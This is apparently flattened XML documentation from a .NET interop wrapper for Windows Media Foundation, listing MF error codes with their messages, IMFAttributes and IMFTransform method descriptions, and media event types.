MF_E_NET_SERVER_ACCESSDENIED MessageText: The Windows Media server is denying access. The username and/or password might be incorrect.%0 MessageId: MF_E_NET_PROXY_ACCESSDENIED MessageText: The proxy server is denying access. The username and/or password might be incorrect.%0 MessageId: MF_E_NET_CANNOTCONNECT MessageText: Unable to establish a connection to the server.%0 MessageId: MF_E_NET_INVALID_PUSH_TEMPLATE MessageText: The specified push template is invalid.%0 MessageId: MF_E_NET_INVALID_PUSH_PUBLISHING_POINT MessageText: The specified push publishing point is invalid.%0 MessageId: MF_E_NET_BUSY MessageText: The requested resource is in use.%0 MessageId: MF_E_NET_RESOURCE_GONE MessageText: The Publishing Point or file on the Windows Media Server is no longer available.%0 MessageId: MF_E_NET_ERROR_FROM_PROXY MessageText: The proxy experienced an error while attempting to contact the media server.%0 MessageId: MF_E_NET_PROXY_TIMEOUT MessageText: The proxy did not receive a timely response while attempting to contact the media server.%0 MessageId: MF_E_NET_SERVER_UNAVAILABLE MessageText: The server is currently unable to handle the request due to a temporary overloading or maintenance of the server.%0 MessageId: MF_E_NET_TOO_MUCH_DATA MessageText: The encoding process was unable to keep up with the amount of supplied data.%0 MessageId: MF_E_NET_SESSION_INVALID MessageText: Session not found.%0 MessageId: MF_E_OFFLINE_MODE MessageText: The requested URL is not available in offline mode.%0 MessageId: MF_E_NET_UDP_BLOCKED MessageText: A device in the network is blocking UDP traffic.%0 MessageId: MF_E_NET_UNSUPPORTED_CONFIGURATION MessageText: The specified configuration value is not supported.%0 MessageId: MF_E_NET_PROTOCOL_DISABLED MessageText: The networking protocol is disabled.%0 MessageId: MF_E_ALREADY_INITIALIZED MessageText: This object has already been initialized and cannot be re-initialized at this time.%0 MessageId: MF_E_BANDWIDTH_OVERRUN MessageText: The amount of data passed in exceeds the given bitrate and buffer window.%0 MessageId: MF_E_LATE_SAMPLE MessageText: The sample was passed in too late to be correctly processed.%0 MessageId: MF_E_FLUSH_NEEDED MessageText: The requested action cannot be carried out until the object is flushed and the queue is emptied.%0 MessageId: MF_E_INVALID_PROFILE MessageText: The profile is invalid.%0 MessageId: MF_E_INDEX_NOT_COMMITTED MessageText: The index that is being generated needs to be committed before the requested action can be carried out.%0 MessageId: MF_E_NO_INDEX MessageText: The index that is necessary for the requested action is not found.%0 MessageId: MF_E_CANNOT_INDEX_IN_PLACE MessageText: The requested index cannot be added in-place to the specified ASF content.%0 MessageId: MF_E_MISSING_ASF_LEAKYBUCKET MessageText: The ASF leaky bucket parameters must be specified in order to carry out this request.%0 MessageId: MF_E_INVALID_ASF_STREAMID MessageText: The stream id is invalid. The valid range for ASF stream id is from 1 to 127.%0 MessageId: MF_E_STREAMSINK_REMOVED MessageText: The requested Stream Sink has been removed and cannot be used.%0 MessageId: MF_E_STREAMSINKS_OUT_OF_SYNC MessageText: The various Stream Sinks in this Media Sink are too far out of sync for the requested action to take place.%0 MessageId: MF_E_STREAMSINKS_FIXED MessageText: Stream Sinks cannot be added to or removed from this Media Sink because its set of streams is fixed.%0 MessageId: MF_E_STREAMSINK_EXISTS MessageText: The given Stream Sink already exists.%0 MessageId: MF_E_SAMPLEALLOCATOR_CANCELED MessageText: Sample allocations have been canceled.%0 MessageId: MF_E_SAMPLEALLOCATOR_EMPTY MessageText: The sample allocator is currently empty, due to outstanding requests.%0 MessageId: MF_E_SINK_ALREADYSTOPPED MessageText: When we try to sopt a stream sink, it is already stopped %0 MessageId: MF_E_ASF_FILESINK_BITRATE_UNKNOWN MessageText: The ASF file sink could not reserve AVIO because the bitrate is unknown.%0 MessageId: MF_E_SINK_NO_STREAMS MessageText: No streams are selected in sink presentation descriptor.%0 MessageId: MF_S_SINK_NOT_FINALIZED MessageText: The sink has not been finalized before shut down. This may cause sink generate a corrupted content.%0 MessageId: MF_E_METADATA_TOO_LONG MessageText: A metadata item was too long to write to the output container.%0 MessageId: MF_E_SINK_NO_SAMPLES_PROCESSED MessageText: The operation failed because no samples were processed by the sink.%0 MessageId: MF_E_VIDEO_REN_NO_PROCAMP_HW MessageText: There is no available procamp hardware with which to perform color correction.%0 MessageId: MF_E_VIDEO_REN_NO_DEINTERLACE_HW MessageText: There is no available deinterlacing hardware with which to deinterlace the video stream.%0 MessageId: MF_E_VIDEO_REN_COPYPROT_FAILED MessageText: A video stream requires copy protection to be enabled, but there was a failure in attempting to enable copy protection.%0 MessageId: MF_E_VIDEO_REN_SURFACE_NOT_SHARED MessageText: A component is attempting to access a surface for sharing that is not shared.%0 MessageId: MF_E_VIDEO_DEVICE_LOCKED MessageText: A component is attempting to access a shared device that is already locked by another component.%0 MessageId: MF_E_NEW_VIDEO_DEVICE MessageText: The device is no longer available. The handle should be closed and a new one opened.%0 MessageId: MF_E_NO_VIDEO_SAMPLE_AVAILABLE MessageText: A video sample is not currently queued on a stream that is required for mixing.%0 MessageId: MF_E_NO_AUDIO_PLAYBACK_DEVICE MessageText: No audio playback device was found.%0 MessageId: MF_E_AUDIO_PLAYBACK_DEVICE_IN_USE MessageText: The requested audio playback device is currently in use.%0 MessageId: MF_E_AUDIO_PLAYBACK_DEVICE_INVALIDATED MessageText: The audio playback device is no longer present.%0 MessageId: MF_E_AUDIO_SERVICE_NOT_RUNNING MessageText: The audio service is not running.%0 MessageId: MF_E_TOPO_INVALID_OPTIONAL_NODE MessageText: The topology contains an invalid optional node. Possible reasons are incorrect number of outputs and inputs or optional node is at the beginning or end of a segment. %0 MessageId: MF_E_TOPO_CANNOT_FIND_DECRYPTOR MessageText: No suitable transform was found to decrypt the content. %0 MessageId: MF_E_TOPO_CODEC_NOT_FOUND MessageText: No suitable transform was found to encode or decode the content. %0 MessageId: MF_E_TOPO_CANNOT_CONNECT MessageText: Unable to find a way to connect nodes%0 MessageId: MF_E_TOPO_UNSUPPORTED MessageText: Unsupported operations in topoloader%0 MessageId: MF_E_TOPO_INVALID_TIME_ATTRIBUTES MessageText: The topology or its nodes contain incorrectly set time attributes%0 MessageId: MF_E_TOPO_LOOPS_IN_TOPOLOGY MessageText: The topology contains loops, which are unsupported in media foundation topologies%0 MessageId: MF_E_TOPO_MISSING_PRESENTATION_DESCRIPTOR MessageText: A source stream node in the topology does not have a presentation descriptor%0 MessageId: MF_E_TOPO_MISSING_STREAM_DESCRIPTOR MessageText: A source stream node in the topology does not have a stream descriptor%0 MessageId: MF_E_TOPO_STREAM_DESCRIPTOR_NOT_SELECTED MessageText: A stream descriptor was set on a source stream node but it was not selected on the presentation descriptor%0 MessageId: MF_E_TOPO_MISSING_SOURCE MessageText: A source stream node in the topology does not have a source%0 MessageId: MF_E_TOPO_SINK_ACTIVATES_UNSUPPORTED MessageText: The topology loader does not support sink activates on output nodes.%0 MessageId: MF_E_SEQUENCER_UNKNOWN_SEGMENT_ID MessageText: The sequencer cannot find a segment with the given ID.%0\n. MessageId: MF_S_SEQUENCER_CONTEXT_CANCELED MessageText: The context was canceled.%0\n. MessageId: MF_E_NO_SOURCE_IN_CACHE MessageText: Cannot find source in source cache.%0\n. MessageId: MF_S_SEQUENCER_SEGMENT_AT_END_OF_STREAM MessageText: Cannot update topology flags.%0\n. MessageId: MF_E_TRANSFORM_TYPE_NOT_SET MessageText: A valid type has not been set for this stream or a stream that it depends on.%0 MessageId: MF_E_TRANSFORM_STREAM_CHANGE MessageText: A stream change has occurred. Output cannot be produced until the streams have been renegotiated.%0 MessageId: MF_E_TRANSFORM_INPUT_REMAINING MessageText: The transform cannot take the requested action until all of the input data it currently holds is processed or flushed.%0 MessageId: MF_E_TRANSFORM_PROFILE_MISSING MessageText: The transform requires a profile but no profile was supplied or found.%0 MessageId: MF_E_TRANSFORM_PROFILE_INVALID_OR_CORRUPT MessageText: The transform requires a profile but the supplied profile was invalid or corrupt.%0 MessageId: MF_E_TRANSFORM_PROFILE_TRUNCATED MessageText: The transform requires a profile but the supplied profile ended unexpectedly while parsing.%0 MessageId: MF_E_TRANSFORM_PROPERTY_PID_NOT_RECOGNIZED MessageText: The property ID does not match any property supported by the transform.%0 MessageId: MF_E_TRANSFORM_PROPERTY_VARIANT_TYPE_WRONG MessageText: The variant does not have the type expected for this property ID.%0 MessageId: MF_E_TRANSFORM_PROPERTY_NOT_WRITEABLE MessageText: An attempt was made to set the value on a read-only property.%0 MessageId: MF_E_TRANSFORM_PROPERTY_ARRAY_VALUE_WRONG_NUM_DIM MessageText: The array property value has an unexpected number of dimensions.%0 MessageId: MF_E_TRANSFORM_PROPERTY_VALUE_SIZE_WRONG MessageText: The array or blob property value has an unexpected size.%0 MessageId: MF_E_TRANSFORM_PROPERTY_VALUE_OUT_OF_RANGE MessageText: The property value is out of range for this transform.%0 MessageId: MF_E_TRANSFORM_PROPERTY_VALUE_INCOMPATIBLE MessageText: The property value is incompatible with some other property or mediatype set on the transform.%0 MessageId: MF_E_TRANSFORM_NOT_POSSIBLE_FOR_CURRENT_OUTPUT_MEDIATYPE MessageText: The requested operation is not supported for the currently set output mediatype.%0 MessageId: MF_E_TRANSFORM_NOT_POSSIBLE_FOR_CURRENT_INPUT_MEDIATYPE MessageText: The requested operation is not supported for the currently set input mediatype.%0 MessageId: MF_E_TRANSFORM_NOT_POSSIBLE_FOR_CURRENT_MEDIATYPE_COMBINATION MessageText: The requested operation is not supported for the currently set combination of mediatypes.%0 MessageId: MF_E_TRANSFORM_CONFLICTS_WITH_OTHER_CURRENTLY_ENABLED_FEATURES MessageText: The requested feature is not supported in combination with some other currently enabled feature.%0 MessageId: MF_E_TRANSFORM_NEED_MORE_INPUT MessageText: The transform cannot produce output until it gets more input samples.%0 MessageId: MF_E_TRANSFORM_NOT_POSSIBLE_FOR_CURRENT_SPKR_CONFIG MessageText: The requested operation is not supported for the current speaker configuration.%0 MessageId: MF_E_TRANSFORM_CANNOT_CHANGE_MEDIATYPE_WHILE_PROCESSING MessageText: The transform cannot accept mediatype changes in the middle of processing.%0 MessageId: MF_S_TRANSFORM_DO_NOT_PROPAGATE_EVENT MessageText: The caller should not propagate this event to downstream components.%0 MessageId: MF_E_UNSUPPORTED_D3D_TYPE MessageText: The input type is not supported for D3D device.%0 MessageId: MF_E_TRANSFORM_ASYNC_LOCKED MessageText: The caller does not appear to support this transform's asynchronous capabilities.%0 MessageId: MF_E_TRANSFORM_CANNOT_INITIALIZE_ACM_DRIVER MessageText: An audio compression manager driver could not be initialized by the transform.%0 MessageId: MF_E_LICENSE_INCORRECT_RIGHTS MessageText: You are not allowed to open this file. Contact the content provider for further assistance.%0 MessageId: MF_E_LICENSE_OUTOFDATE MessageText: The license for this media file has expired. Get a new license or contact the content provider for further assistance.%0 MessageId: MF_E_LICENSE_REQUIRED MessageText: You need a license to perform the requested operation on this media file.%0 MessageId: MF_E_DRM_HARDWARE_INCONSISTENT MessageText: The licenses for your media files are corrupted. Contact Microsoft product support.%0 MessageId: MF_E_NO_CONTENT_PROTECTION_MANAGER MessageText: The APP needs to provide IMFContentProtectionManager callback to access the protected media file.%0 MessageId: MF_E_LICENSE_RESTORE_NO_RIGHTS MessageText: Client does not have rights to restore licenses.%0 MessageId: MF_E_BACKUP_RESTRICTED_LICENSE MessageText: Licenses are restricted and hence can not be backed up.%0 MessageId: MF_E_LICENSE_RESTORE_NEEDS_INDIVIDUALIZATION MessageText: License restore requires machine to be individualized.%0 MessageId: MF_S_PROTECTION_NOT_REQUIRED MessageText: Protection for stream is not required.%0 MessageId: MF_E_COMPONENT_REVOKED MessageText: Component is revoked.%0 MessageId: MF_E_TRUST_DISABLED MessageText: Trusted functionality is currently disabled on this component.%0 MessageId: MF_E_WMDRMOTA_NO_ACTION MessageText: No Action is set on WMDRM Output Trust Authority.%0 MessageId: MF_E_WMDRMOTA_ACTION_ALREADY_SET MessageText: Action is already set on WMDRM Output Trust Authority.%0 MessageId: MF_E_WMDRMOTA_DRM_HEADER_NOT_AVAILABLE MessageText: DRM Heaader is not available.%0 MessageId: MF_E_WMDRMOTA_DRM_ENCRYPTION_SCHEME_NOT_SUPPORTED MessageText: Current encryption scheme is not supported.%0 MessageId: MF_E_WMDRMOTA_ACTION_MISMATCH MessageText: Action does not match with current configuration.%0 MessageId: MF_E_WMDRMOTA_INVALID_POLICY MessageText: Invalid policy for WMDRM Output Trust Authority.%0 MessageId: MF_E_POLICY_UNSUPPORTED MessageText: The policies that the Input Trust Authority requires to be enforced are unsupported by the outputs.%0 MessageId: MF_E_OPL_NOT_SUPPORTED MessageText: The OPL that the license requires to be enforced are not supported by the Input Trust Authority.%0 MessageId: MF_E_TOPOLOGY_VERIFICATION_FAILED MessageText: The topology could not be successfully verified.%0 MessageId: MF_E_SIGNATURE_VERIFICATION_FAILED MessageText: Signature verification could not be completed successfully for this component.%0 MessageId: MF_E_DEBUGGING_NOT_ALLOWED MessageText: Running this process under a debugger while using protected content is not allowed.%0 MessageId: MF_E_CODE_EXPIRED MessageText: MF component has expired.%0 MessageId: MF_E_GRL_VERSION_TOO_LOW MessageText: The current GRL on the machine does not meet the minimum version requirements.%0 MessageId: MF_E_GRL_RENEWAL_NOT_FOUND MessageText: The current GRL on the machine does not contain any renewal entries for the specified revocation.%0 MessageId: MF_E_GRL_EXTENSIBLE_ENTRY_NOT_FOUND MessageText: The current GRL on the machine does not contain any extensible entries for the specified extension GUID.%0 MessageId: MF_E_KERNEL_UNTRUSTED MessageText: The kernel isn't secure for high security level content.%0 MessageId: MF_E_PEAUTH_UNTRUSTED MessageText: The response from protected environment driver isn't valid.%0 MessageId: MF_E_NON_PE_PROCESS MessageText: A non-PE process tried to talk to PEAuth.%0 MessageId: MF_E_REBOOT_REQUIRED MessageText: We need to reboot the machine.%0 MessageId: MF_S_WAIT_FOR_POLICY_SET MessageText: Protection for this stream is not guaranteed to be enforced until the MEPolicySet event is fired.%0 MessageId: MF_S_VIDEO_DISABLED_WITH_UNKNOWN_SOFTWARE_OUTPUT MessageText: This video stream is disabled because it is being sent to an unknown software output.%0 MessageId: MF_E_GRL_INVALID_FORMAT MessageText: The GRL file is not correctly formed, it may have been corrupted or overwritten.%0 MessageId: MF_E_GRL_UNRECOGNIZED_FORMAT MessageText: The GRL file is in a format newer than those recognized by this GRL Reader.%0 MessageId: MF_E_ALL_PROCESS_RESTART_REQUIRED MessageText: The GRL was reloaded and required all processes that can run protected media to restart.%0 MessageId: MF_E_PROCESS_RESTART_REQUIRED MessageText: The GRL was reloaded and the current process needs to restart.%0 MessageId: MF_E_USERMODE_UNTRUSTED MessageText: The user space is untrusted for protected content play.%0 MessageId: MF_E_PEAUTH_SESSION_NOT_STARTED MessageText: PEAuth communication session hasn't been started.%0 MessageId: MF_E_PEAUTH_PUBLICKEY_REVOKED MessageText: PEAuth's public key is revoked.%0 MessageId: MF_E_GRL_ABSENT MessageText: The GRL is absent.%0 MessageId: MF_S_PE_TRUSTED MessageText: The Protected Environment is trusted.%0 MessageId: MF_E_PE_UNTRUSTED MessageText: The Protected Environment is untrusted.%0 MessageId: MF_E_PEAUTH_NOT_STARTED MessageText: The Protected Environment Authorization service (PEAUTH) has not been started.%0 MessageId: MF_E_INCOMPATIBLE_SAMPLE_PROTECTION MessageText: The sample protection algorithms supported by components are not compatible.%0 MessageId: MF_E_PE_SESSIONS_MAXED MessageText: No more protected environment sessions can be supported.%0 MessageId: MF_E_HIGH_SECURITY_LEVEL_CONTENT_NOT_ALLOWED MessageText: WMDRM ITA does not allow protected content with high security level for this release.%0 MessageId: MF_E_TEST_SIGNED_COMPONENTS_NOT_ALLOWED MessageText: WMDRM ITA cannot allow the requested action for the content as one or more components is not properly signed.%0 MessageId: MF_E_ITA_UNSUPPORTED_ACTION MessageText: WMDRM ITA does not support the requested action.%0 MessageId: MF_E_ITA_ERROR_PARSING_SAP_PARAMETERS MessageText: WMDRM ITA encountered an error in parsing the Secure Audio Path parameters.%0 MessageId: MF_E_POLICY_MGR_ACTION_OUTOFBOUNDS MessageText: The Policy Manager action passed in is invalid.%0 MessageId: MF_E_BAD_OPL_STRUCTURE_FORMAT MessageText: The structure specifying Output Protection Level is not the correct format.%0 MessageId: MF_E_ITA_UNRECOGNIZED_ANALOG_VIDEO_PROTECTION_GUID MessageText: WMDRM ITA does not recognize the Explicite Analog Video Output Protection guid specified in the license.%0 MessageId: MF_E_NO_PMP_HOST MessageText: IMFPMPHost object not available.%0 MessageId: MF_E_ITA_OPL_DATA_NOT_INITIALIZED MessageText: WMDRM ITA could not initialize the Output Protection Level data.%0 MessageId: MF_E_ITA_UNRECOGNIZED_ANALOG_VIDEO_OUTPUT MessageText: WMDRM ITA does not recognize the Analog Video Output specified by the OTA.%0 MessageId: MF_E_ITA_UNRECOGNIZED_DIGITAL_VIDEO_OUTPUT MessageText: WMDRM ITA does not recognize the Digital Video Output specified by the OTA.%0 MessageId: MF_E_CLOCK_INVALID_CONTINUITY_KEY MessageText: The continuity key supplied is not currently valid.%0 MessageId: MF_E_CLOCK_NO_TIME_SOURCE MessageText: No Presentation Time Source has been specified.%0 MessageId: MF_E_CLOCK_STATE_ALREADY_SET MessageText: The clock is already in the requested state.%0 MessageId: MF_E_CLOCK_NOT_SIMPLE MessageText: The clock has too many advanced features to carry out the request.%0 MessageId: MF_S_CLOCK_STOPPED MessageText: Timer::SetTimer returns this success code if called happened while timer is stopped. Timer is not going to be dispatched until clock is running%0 MessageId: MF_E_NO_MORE_DROP_MODES MessageText: The component does not support any more drop modes.%0 MessageId: MF_E_NO_MORE_QUALITY_LEVELS MessageText: The component does not support any more quality levels.%0 MessageId: MF_E_DROPTIME_NOT_SUPPORTED MessageText: The component does not support drop time functionality.%0 MessageId: MF_E_QUALITYKNOB_WAIT_LONGER MessageText: Quality Manager needs to wait longer before bumping the Quality Level up.%0 MessageId: MF_E_QM_INVALIDSTATE MessageText: Quality Manager is in an invalid state. Quality Management is off at this moment.%0 MessageId: MF_E_TRANSCODE_NO_CONTAINERTYPE MessageText: No transcode output container type is specified.%0 MessageId: MF_E_TRANSCODE_PROFILE_NO_MATCHING_STREAMS MessageText: The profile does not have a media type configuration for any selected source streams.%0 MessageId: MF_E_TRANSCODE_NO_MATCHING_ENCODER MessageText: Cannot find an encoder MFT that accepts the user preferred output type.%0 MessageId: MF_E_ALLOCATOR_NOT_INITIALIZED MessageText: Memory allocator is not initialized.%0 MessageId: MF_E_ALLOCATOR_NOT_COMMITED MessageText: Memory allocator is not committed yet.%0 MessageId: MF_E_ALLOCATOR_ALREADY_COMMITED MessageText: Memory allocator has already been committed.%0 MessageId: MF_E_STREAM_ERROR MessageText: An error occurred in media stream.%0 MessageId: MF_E_INVALID_STREAM_STATE MessageText: Stream is not in a state to handle the request.%0 MessageId: MF_E_HW_STREAM_NOT_CONNECTED MessageText: Hardware stream is not connected yet.%0 Major Media Types http://msdn.microsoft.com/en-us/library/windows/desktop/aa367377%28v=vs.85%29.aspx Default Audio Video Protected Media Synchronized Accessible Media Interchange (SAMI) captions. Script stream Still image stream. HTML stream. Binary stream. A stream that contains data files. Chunk Identifier helpers Chunk identifier to Int32 (replaces mmioStringToFOURCC) four character chunk identifier Chunk identifier as int 32 Allows us to add descriptions to interop members Field description String representation The description IMFActivate, defined in mfobjects.h Provides a generic way to store key/value pairs on an object. http://msdn.microsoft.com/en-gb/library/windows/desktop/ms704598%28v=vs.85%29.aspx Retrieves the value associated with a key. Retrieves the data type of the value associated with a key. Queries whether a stored attribute value equals a specified PROPVARIANT. Compares the attributes on this object with the attributes on another object. Retrieves a UINT32 value associated with a key. Retrieves a UINT64 value associated with a key. Retrieves a double value associated with a key. Retrieves a GUID value associated with a key. Retrieves the length of a string value associated with a key. Retrieves a wide-character string associated with a key. Retrieves a wide-character string associated with a key. This method allocates the memory for the string. Retrieves the length of a byte array associated with a key. Retrieves a byte array associated with a key. Retrieves a byte array associated with a key. This method allocates the memory for the array. Retrieves an interface pointer associated with a key. Associates an attribute value with a key. Removes a key/value pair from the object's attribute list. Removes all key/value pairs from the object's attribute list. Associates a UINT32 value with a key. Associates a UINT64 value with a key. Associates a double value with a key. Associates a GUID value with a key. Associates a wide-character string with a key. Associates a byte array with a key. Associates an IUnknown pointer with a key. Locks the attribute store so that no other thread can access it. Unlocks the attribute store. Retrieves the number of attributes that are set on this object. Retrieves an attribute at the specified index. Copies all of the attributes from this object into another attribute store. Retrieves the value associated with a key. Retrieves the data type of the value associated with a key. Queries whether a stored attribute value equals a specified PROPVARIANT. Compares the attributes on this object with the attributes on another object. Retrieves a UINT32 value associated with a key. Retrieves a UINT64 value associated with a key. Retrieves a double value associated with a key. Retrieves a GUID value associated with a key. Retrieves the length of a string value associated with a key. Retrieves a wide-character string associated with a key. Retrieves a wide-character string associated with a key. This method allocates the memory for the string. Retrieves the length of a byte array associated with a key. Retrieves a byte array associated with a key. Retrieves a byte array associated with a key. This method allocates the memory for the array. Retrieves an interface pointer associated with a key. Associates an attribute value with a key. Removes a key/value pair from the object's attribute list. Removes all key/value pairs from the object's attribute list. Associates a UINT32 value with a key. Associates a UINT64 value with a key. Associates a double value with a key. Associates a GUID value with a key. Associates a wide-character string with a key. Associates a byte array with a key. Associates an IUnknown pointer with a key. Locks the attribute store so that no other thread can access it. Unlocks the attribute store. Retrieves the number of attributes that are set on this object. Retrieves an attribute at the specified index. Copies all of the attributes from this object into another attribute store. Creates the object associated with this activation object. Shuts down the created object. Detaches the created object from the activation object. Represents a generic collection of IUnknown pointers. Retrieves the number of objects in the collection. Retrieves an object in the collection. Adds an object to the collection. Removes an object from the collection. Removes an object from the collection. Removes all items from the collection. IMFMediaEvent - Represents an event generated by a Media Foundation object. Use this interface to get information about the event. http://msdn.microsoft.com/en-us/library/windows/desktop/ms702249%28v=vs.85%29.aspx Mfobjects.h Retrieves the value associated with a key. Retrieves the data type of the value associated with a key. Queries whether a stored attribute value equals a specified PROPVARIANT. Compares the attributes on this object with the attributes on another object. Retrieves a UINT32 value associated with a key. Retrieves a UINT64 value associated with a key. Retrieves a double value associated with a key. Retrieves a GUID value associated with a key. Retrieves the length of a string value associated with a key. Retrieves a wide-character string associated with a key. Retrieves a wide-character string associated with a key. This method allocates the memory for the string. Retrieves the length of a byte array associated with a key. Retrieves a byte array associated with a key. Retrieves a byte array associated with a key. This method allocates the memory for the array. Retrieves an interface pointer associated with a key. Associates an attribute value with a key. Removes a key/value pair from the object's attribute list. Removes all key/value pairs from the object's attribute list. Associates a UINT32 value with a key. Associates a UINT64 value with a key. Associates a double value with a key. Associates a GUID value with a key. Associates a wide-character string with a key. Associates a byte array with a key. Associates an IUnknown pointer with a key. Locks the attribute store so that no other thread can access it. Unlocks the attribute store. Retrieves the number of attributes that are set on this object. Retrieves an attribute at the specified index. Copies all of the attributes from this object into another attribute store. Retrieves the event type. virtual HRESULT STDMETHODCALLTYPE GetType( /* [out] */ __RPC__out MediaEventType *pmet) = 0; Retrieves the extended type of the event. virtual HRESULT STDMETHODCALLTYPE GetExtendedType( /* [out] */ __RPC__out GUID *pguidExtendedType) = 0; Retrieves an HRESULT that specifies the event status. virtual HRESULT STDMETHODCALLTYPE GetStatus( /* [out] */ __RPC__out HRESULT *phrStatus) = 0; Retrieves the value associated with the event, if any. virtual HRESULT STDMETHODCALLTYPE GetValue( /* [out] */ __RPC__out PROPVARIANT *pvValue) = 0; Implemented by the Microsoft Media Foundation sink writer object. Adds a stream to the sink writer. Sets the input format for a stream on the sink writer. Initializes the sink writer for writing. Delivers a sample to the sink writer. Indicates a gap in an input stream. Places a marker in the specified stream. Notifies the media sink that a stream has reached the end of a segment. Flushes one or more streams. (Finalize) Completes all writing operations on the sink writer. Queries the underlying media sink or encoder for an interface. Gets statistics about the performance of the sink writer. IMFTransform, defined in mftransform.h Retrieves the minimum and maximum number of input and output streams. virtual HRESULT STDMETHODCALLTYPE GetStreamLimits( /* [out] */ __RPC__out DWORD *pdwInputMinimum, /* [out] */ __RPC__out DWORD *pdwInputMaximum, /* [out] */ __RPC__out DWORD *pdwOutputMinimum, /* [out] */ __RPC__out DWORD *pdwOutputMaximum) = 0; Retrieves the current number of input and output streams on this MFT. virtual HRESULT STDMETHODCALLTYPE GetStreamCount( /* [out] */ __RPC__out DWORD *pcInputStreams, /* [out] */ __RPC__out DWORD *pcOutputStreams) = 0; Retrieves the stream identifiers for the input and output streams on this MFT. virtual HRESULT STDMETHODCALLTYPE GetStreamIDs( DWORD dwInputIDArraySize, /* [size_is][out] */ __RPC__out_ecount_full(dwInputIDArraySize) DWORD *pdwInputIDs, DWORD dwOutputIDArraySize, /* [size_is][out] */ __RPC__out_ecount_full(dwOutputIDArraySize) DWORD *pdwOutputIDs) = 0; Gets the buffer requirements and other information for an input stream on this Media Foundation transform (MFT). virtual HRESULT STDMETHODCALLTYPE GetInputStreamInfo( DWORD dwInputStreamID, /* [out] */ __RPC__out MFT_INPUT_STREAM_INFO *pStreamInfo) = 0; Gets the buffer requirements and other information for an output stream on this Media Foundation transform (MFT). virtual HRESULT STDMETHODCALLTYPE GetOutputStreamInfo( DWORD dwOutputStreamID, /* [out] */ __RPC__out MFT_OUTPUT_STREAM_INFO *pStreamInfo) = 0; Gets the global attribute store for this Media Foundation transform (MFT). virtual HRESULT STDMETHODCALLTYPE GetAttributes( /* [out] */ __RPC__deref_out_opt IMFAttributes **pAttributes) = 0; Retrieves the attribute store for an input stream on this MFT. virtual HRESULT STDMETHODCALLTYPE GetInputStreamAttributes( DWORD dwInputStreamID, /* [out] */ __RPC__deref_out_opt IMFAttributes **pAttributes) = 0; Retrieves the attribute store for an output stream on this MFT. virtual HRESULT STDMETHODCALLTYPE GetOutputStreamAttributes( DWORD dwOutputStreamID, /* [out] */ __RPC__deref_out_opt IMFAttributes **pAttributes) = 0; Removes an input stream from this MFT. virtual HRESULT STDMETHODCALLTYPE DeleteInputStream( DWORD dwStreamID) = 0; Adds one or more new input streams to this MFT. virtual HRESULT STDMETHODCALLTYPE AddInputStreams( DWORD cStreams, /* [in] */ __RPC__in DWORD *adwStreamIDs) = 0; Gets an available media type for an input stream on this Media Foundation transform (MFT). virtual HRESULT STDMETHODCALLTYPE GetInputAvailableType( DWORD dwInputStreamID, DWORD dwTypeIndex, /* [out] */ __RPC__deref_out_opt IMFMediaType **ppType) = 0; Retrieves an available media type for an output stream on this MFT. virtual HRESULT STDMETHODCALLTYPE GetOutputAvailableType( DWORD dwOutputStreamID, DWORD dwTypeIndex, /* [out] */ __RPC__deref_out_opt IMFMediaType **ppType) = 0; Sets, tests, or clears the media type for an input stream on this Media Foundation transform (MFT). virtual HRESULT STDMETHODCALLTYPE SetInputType( DWORD dwInputStreamID, /* [in] */ __RPC__in_opt IMFMediaType *pType, DWORD dwFlags) = 0; Sets, tests, or clears the media type for an output stream on this Media Foundation transform (MFT). virtual HRESULT STDMETHODCALLTYPE SetOutputType( DWORD dwOutputStreamID, /* [in] */ __RPC__in_opt IMFMediaType *pType, DWORD dwFlags) = 0; Gets the current media type for an input stream on this Media Foundation transform (MFT). virtual HRESULT STDMETHODCALLTYPE GetInputCurrentType( DWORD dwInputStreamID, /* [out] */ __RPC__deref_out_opt IMFMediaType **ppType) = 0; Gets the current media type for an output stream on this Media Foundation transform (MFT). virtual HRESULT STDMETHODCALLTYPE GetOutputCurrentType( DWORD dwOutputStreamID, /* [out] */ __RPC__deref_out_opt IMFMediaType **ppType) = 0; Queries whether an input stream on this Media Foundation transform (MFT) can accept more data. virtual HRESULT STDMETHODCALLTYPE GetInputStatus( DWORD dwInputStreamID, /* [out] */ __RPC__out DWORD *pdwFlags) = 0; Queries whether the Media Foundation transform (MFT) is ready to produce output data. virtual HRESULT STDMETHODCALLTYPE GetOutputStatus( /* [out] */ __RPC__out DWORD *pdwFlags) = 0; Sets the range of time stamps the client needs for output. virtual HRESULT STDMETHODCALLTYPE SetOutputBounds( LONGLONG hnsLowerBound, LONGLONG hnsUpperBound) = 0; Sends an event to an input stream on this Media Foundation transform (MFT). virtual HRESULT STDMETHODCALLTYPE ProcessEvent( DWORD dwInputStreamID, /* [in] */ __RPC__in_opt IMFMediaEvent *pEvent) = 0; Sends a message to the Media Foundation transform (MFT). virtual HRESULT STDMETHODCALLTYPE ProcessMessage( MFT_MESSAGE_TYPE eMessage, ULONG_PTR ulParam) = 0; Delivers data to an input stream on this Media Foundation transform (MFT). virtual /* [local] */ HRESULT STDMETHODCALLTYPE ProcessInput( DWORD dwInputStreamID, IMFSample *pSample, DWORD dwFlags) = 0; Generates output from the current input data. virtual /* [local] */ HRESULT STDMETHODCALLTYPE ProcessOutput( DWORD dwFlags, DWORD cOutputBufferCount, /* [size_is][out][in] */ MFT_OUTPUT_DATA_BUFFER *pOutputSamples, /* [out] */ DWORD *pdwStatus) = 0; See mfobjects.h Unknown event type. Signals a serious error. Custom event type. A non-fatal error occurred during streaming. Session Unknown Raised after the IMFMediaSession::SetTopology method completes asynchronously Raised by the Media Session when the IMFMediaSession::ClearTopologies method completes asynchronously. Raised when the IMFMediaSession::Start method completes asynchronously. Raised when the IMFMediaSession::Pause method completes asynchronously. Raised when the IMFMediaSession::Stop method completes asynchronously. Raised when the IMFMediaSession::Close method completes asynchronously. Raised by the Media Session when it has finished playing the last presentation in the playback queue. Raised by the Media Session when the playback rate changes. Raised by the Media Session when it completes a scrubbing request. Raised by the Media Session when the session capabilities change. Raised by the Media Session when the status of a topology changes. Raised by the Media Session when a new presentation starts. Raised by a media source a new presentation is ready. License acquisition is about to begin. License acquisition is complete. Individualization is about to begin. Individualization is complete. Signals the progress of a content enabler object. A content enabler object's action is complete. Raised by a trusted output if an error occurs while enforcing the output policy. Contains status information about the enforcement of an output policy. A media source started to buffer data. A media source stopped buffering data. The network source started opening a URL. The network source finished opening a URL. Raised by a media source at the start of a reconnection attempt. Raised by a media source at the end of a reconnection attempt. Raised by the enhanced video renderer (EVR) when it receives a user event from the presenter. Raised by the Media Session when the format changes on a media sink. Source 